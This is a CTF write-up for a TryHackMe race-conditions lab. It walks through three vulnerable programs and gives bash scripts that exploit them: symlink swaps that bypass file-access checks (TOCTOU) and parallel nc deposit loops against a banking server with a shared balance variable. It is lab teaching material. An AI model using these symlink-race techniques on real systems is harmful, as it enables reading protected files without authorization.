TryHackMe: Race Conditions writeup

Race Conditions

tryhackme.com

What is the flag for the /home/walk/flag binary?

At first, I read anti_flag_reader.c to find vulnerability.

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    if (argc != 2) {
        puts("Usage: anti_flag_reader <FILE>");
        return 1;
    }
    
    puts("Checking if 'flag' is in the provided file path...");
    int path_check = strstr(argv[1], "flag");       // <----- 1
    puts("Checking if the file is a symlink...");   
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));  // <---- 2
    puts("<Press Enter to continue>");    // <---- 3
    getchar();
    
    if (path_check || symlink_check) {      // <---- 4
        puts("Nice try, but I refuse to give you the flag!");
        return 1;
    } else {
        puts("This file can't possibly be the flag. I'll print it out for you:\n");
        int fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    }
    
    return 0;
}

This code checks if a user pass to flag as file name[1], then check if the user given file is not symlink[2]. Then, program prints "" to wait enter key is pressed[3]. Finally, program checks file name and symblic link check results. So, there is time between getting file information and check its results. Therefore, we can create symlink file between 3 and 4. When run anti_flag_reader, we don't have to create dummy file because this program doesn't check file exists or not.

Let's do it.

Create symlink file between 3 and 4 in another terminal.

What is the flag for the /home/run/flag binary?

Of course, I read cat2.c to find vulnerability.

>>> snip <<<
    context = check_security_contex(argv[1]); // <---- 1
    puts("Context has been checked, proceeding!\n");

    if (context == 0) {     // <---- 4
        puts("The user has access, outputting file...\n");
        fd = open(argv[1], 0);    // <---- 5
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    } else {
        puts("[SECURITY BREACH] The user does not have access to this file!");
        puts("Terminating...");
        return 1;
    }
>>> snip <<<

int check_security_contex(char *file_name) {

    int context_result;

    context_result = access(file_name, R_OK); // <---- 2
    usleep(500); // <---- 3

    return context_result;
}

The cat2 checks user permission by check_security_contex(). This program calls check_()[1]. It checks access permission by access(2)[2]. Then, sleeps 500 usec and returns check result. When check_security_contex() returns 0[3], opens a file which is passed by command line argument[5]. So, if we pass symlink file as command line argument, we are able to change its target between 3 and 5.

I forgot to save my shell scripts before terminate machine but I wrote following scripts like that.

This loop_cat2.sh runs ln command to change symbolic link target.

#!/bin/bash

DUMMY_FILE="/home/race/dummy.txt"
FLAG_FILE="/home/run/flag"
SYMLINK_FILE="/home/race/symlink.txt"

if [ ! -f "${DUMMY_FILE}" ]; then
    touch "${DUMMY_FILE}"
fi

if [ -f "${SYMLINK_FILE}" ]; then
    rm "${SYMLINK_FILE}"
fi

for ((i=0; i<2000; i++));
do
    ln -sf "${DUMMY_FILE}" "${SYMLINK_FILE}"
    sleep 1
    ln -sf "${FLAG_FILE}" "${SYMLINK_FILE}"
done

This run_cat2.sh runs cat2 command.

#!/bin/bash

for ((i=0; i<2000; i++));
do
    echo "[+]Test $i"
    /home/run/cat2 /home/race/symlink.txt
done

Run these scripts and logs to text file.

We will see flag in the log file.

What is the flag for the /home/sprint/flag binary?

Read bankingsystem.c as usual.

int money; // <---- 1

void *run_thread(void *ptr) {

    long addr;
    char *buffer;
    int buffer_len = 1024;
    char balance[512];
    int balance_length;
    connection_t *conn;

    if (!ptr) pthread_exit(0);

    conn = (connection_t *)ptr;
    addr = (long)((struct sockaddr_in *) &conn->address)->sin_addr.s_addr;
    buffer = malloc(buffer_len + 1);
    buffer[buffer_len] = 0;
    
    read(conn->sock, buffer, buffer_len);
    
    if (strstr(buffer, "deposit")) {
        money += 10000;
    } else if (strstr(buffer, "withdraw")) {
        money -= 10000;
    } else if (strstr(buffer, "purchase flag")) {
        if (money >= 15000) {
            sendfile(conn->sock, open("/home/sprint/flag", O_RDONLY), 0, 128);
            money -= 15000;
        } else {
            write(conn->sock, "Sorry, you don't have enough money to purchase the flag\n", 56);
        }
    }

    balance_length = snprintf(balance, 1024, "Current balance: %d\n", money);
    write(conn->sock, balance, balance_length);
    
    usleep(1);
    money = 0;    // <---- 2

When accessing to the server, server creates a thread to process user request. However, the money value is shared object so it isn't thread local. The money is set to 0 when program starts[1] and set to 0 when connection closed[2]. The money is not initialized when connection starts. So, there is a race condition bug. If we deposit money continuously in short period of time, money will be greater than 15000 by the bug. We need to send "purchase flag" command at the time.

I wrote two scripts the one is bankingsystem_deposit.sh which sends depoit command.

#!/bin/bash

for ((i=0; i<2000; i++));
do
  echo -e "deposit\n\n" | nc localhost 1337
done

The other is bankingsystem_purchase.sh which sends "purchase flag" command.

#!/bin/bash

for ((i=0; i<500; i++));
do
    echo "[+]Test $i"
    echo -e "purchase flag\n\n" | nc localhost 1337
done

We need to deposit money more than 15000 so that I run bankingsystem_deposit.sh more than one.

Run scripts.

Get flag!